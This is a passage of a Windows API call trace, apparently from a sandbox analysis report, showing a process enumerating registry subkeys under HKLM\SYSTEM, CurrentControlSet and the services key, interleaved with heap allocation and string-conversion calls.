RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.895] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="SYSTEM", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0253.895] RegCloseKey (hKey=0x80000002) returned 0x0 [0253.895] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet001") returned 0x0 [0253.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset001", cchWideChar=13, lpMultiByteStr=0x21f1e38, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset001", lpUsedDefaultChar=0x0) returned 13 [0253.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.895] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="ControlSet002") returned 0x0 [0253.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.895] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="controlset002", cchWideChar=13, lpMultiByteStr=0x21f1df0, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="controlset002", lpUsedDefaultChar=0x0) returned 13 [0253.895] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.895] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.895] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="MountedDevices") returned 0x0 [0253.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0253.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mounteddevices", cchWideChar=14, lpMultiByteStr=0x21f1e38, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mounteddevices", lpUsedDefaultChar=0x0) returned 14 [0253.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.896] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="RNG") returned 0x0 [0253.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="rng", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="rng", lpUsedDefaultChar=0x0) returned 3 [0253.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.896] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="Select") returned 0x0 [0253.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0253.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="select", cchWideChar=6, lpMultiByteStr=0x21f1e38, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="select", lpUsedDefaultChar=0x0) returned 6 [0253.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.896] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.896] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName="Setup") returned 0x0 [0253.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0253.896] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.896] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="setup", cchWideChar=5, lpMultiByteStr=0x21f1df0, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="setup", lpUsedDefaultChar=0x0) returned 5 [0253.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.897] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x6, lpName=0x2152850, cchName=0x104 | out: lpName="Software") returned 0x0 [0253.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="software", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="software", lpUsedDefaultChar=0x0) returned 8 [0253.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.897] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x7, lpName=0x2152850, cchName=0x104 | out: lpName="WPA") returned 0x0 [0253.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0253.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="wpa", cchWideChar=3, lpMultiByteStr=0x21f1df0, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="wpa", lpUsedDefaultChar=0x0) returned 3 [0253.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.897] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x8, lpName=0x2152850, cchName=0x104 | out: lpName="CurrentControlSet") returned 0x0 [0253.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.897] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="currentcontrolset", cchWideChar=17, lpMultiByteStr=0x21f1e38, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="currentcontrolset", lpUsedDefaultChar=0x0) returned 17 [0253.897] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.897] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.897] RegOpenKeyExW (in: hKey=0xc4, lpSubKey="CurrentControlSet", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0x14c) returned 0x0 [0253.898] RegCloseKey (hKey=0xc4) returned 0x0 [0253.898] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName="Control") returned 0x0 [0253.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0253.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="control", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="control", lpUsedDefaultChar=0x0) returned 7 [0253.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.898] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName="Enum") returned 0x0 [0253.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0253.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="enum", cchWideChar=4, lpMultiByteStr=0x21f1e38, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="enum", lpUsedDefaultChar=0x0) returned 4 [0253.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.898] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName="Hardware Profiles") returned 0x0 [0253.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0253.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hardware profiles", cchWideChar=17, lpMultiByteStr=0x21f1df0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hardware profiles", lpUsedDefaultChar=0x0) returned 17 [0253.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.898] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.898] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName="Policies") returned 0x0 [0253.898] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.898] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x21f1e38, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0253.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.899] RegEnumKeyW (in: hKey=0x14c, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName="services") returned 0x0 [0253.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0253.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="services", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="services", lpUsedDefaultChar=0x0) returned 8 [0253.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.899] RegOpenKeyExW (in: hKey=0x14c, lpSubKey="services", ulOptions=0x0, samDesired=0x20109, phkResult=0x36f44c | out: phkResult=0x36f44c*=0xc4) returned 0x0 [0253.899] RegCloseKey (hKey=0x14c) returned 0x0 [0253.899] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Data") returned 0x0 [0253.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0253.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr data", cchWideChar=13, lpMultiByteStr=0x21f1e38, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr data", lpUsedDefaultChar=0x0) returned 13 [0253.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.899] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.899] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking") returned 0x0 [0253.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 19 [0253.899] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.899] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking", cchWideChar=19, lpMultiByteStr=0x21f1df0, cbMultiByte=19, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking", lpUsedDefaultChar=0x0) returned 19 [0253.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.900] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x2, lpName=0x2152850, cchName=0x104 | out: lpName=".NET CLR Networking 4.0.0.0") returned 0x0 [0253.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 27 [0253.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net clr networking 4.0.0.0", cchWideChar=27, lpMultiByteStr=0x21f1e38, cbMultiByte=27, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net clr networking 4.0.0.0", lpUsedDefaultChar=0x0) returned 27 [0253.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.900] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x3, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for Oracle") returned 0x0 [0253.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 29 [0253.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for oracle", cchWideChar=29, lpMultiByteStr=0x21f1df0, cbMultiByte=29, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for oracle", lpUsedDefaultChar=0x0) returned 29 [0253.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.900] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x4, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Data Provider for SqlServer") returned 0x0 [0253.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 32 [0253.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1e38 [0253.900] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net data provider for sqlserver", cchWideChar=32, lpMultiByteStr=0x21f1e38, cbMultiByte=32, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net data provider for sqlserver", lpUsedDefaultChar=0x0) returned 32 [0253.900] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1e38) returned 1 [0253.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0253.900] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0253.900] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x5, lpName=0x2152850, cchName=0x104 | out: lpName=".NET Memory Cache 4.0") returned 0x0 [0253.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0253.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 21 [0253.901] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0253.901] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr=".net memory cache 4.0", cchWideChar=21, lpMultiByteStr=0x21f1df0, cbMultiByte=21, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=".net memory cache 4.0", lpUsedDefaultChar=0x0) returned 21 [0253.901] RtlAllocateHeap (HeapHandle=0x2520000, 